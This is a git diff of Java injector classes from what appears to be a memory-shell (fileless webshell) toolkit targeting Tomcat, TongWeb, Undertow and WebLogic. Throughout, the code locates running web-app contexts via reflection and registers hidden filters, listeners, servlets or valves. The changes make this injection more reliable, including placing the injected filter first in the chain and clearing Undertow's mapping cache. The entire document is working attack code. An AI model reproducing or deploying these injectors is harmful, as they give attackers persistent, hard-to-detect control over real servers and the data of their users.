Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
+41
-27
@@ -7,7 +7,9 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -59,6 +61,43 @@ public class TomcatWebSocketInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
@@ -76,31 +115,6 @@ public class TomcatWebSocketInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
|
||||||
for (Object value : childrenMap.values()) {
|
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
|
||||||
contexts.addAll(children.values());
|
|
||||||
}
|
|
||||||
} else if (thread.getContextClassLoader() != null) {
|
|
||||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
|
||||||
if (name.matches(".+WebappClassLoader")) {
|
|
||||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
|
||||||
// need WebResourceRoot not DirContext
|
|
||||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
|
||||||
Object context = getFieldValue(resources, "context");
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return contexts;
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
+41
-20
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
|
|||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
Constructor<?> constructor;
|
Constructor<?> constructor;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tongweb 7
|
// tongweb 7
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
try {
|
try {
|
||||||
// tongweb 6
|
// tongweb 6
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tongweb 8
|
// tongweb 8
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
|
|||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
|
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||||
@@ -221,8 +232,7 @@ public class TongWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -239,30 +249,41 @@ public class TongWebFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
+3
-8
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,8 +218,7 @@ public class TongWebListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -236,12 +235,8 @@ public class TongWebListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
+9
-8
@@ -7,7 +7,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
|
|||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
|
// invalidate cache
|
||||||
|
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
@@ -213,8 +219,7 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -231,12 +236,8 @@ public class UndertowFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+2
-7
@@ -40,7 +40,7 @@ public class UndertowListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -191,8 +191,7 @@ public class UndertowListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -209,12 +208,8 @@ public class UndertowListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+2
-7
@@ -44,7 +44,7 @@ public class UndertowServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -213,8 +213,7 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -231,12 +230,8 @@ public class UndertowServletInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+36
-98
@@ -1,13 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
|
||||||
theOneMethod.setAccessible(true);
|
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
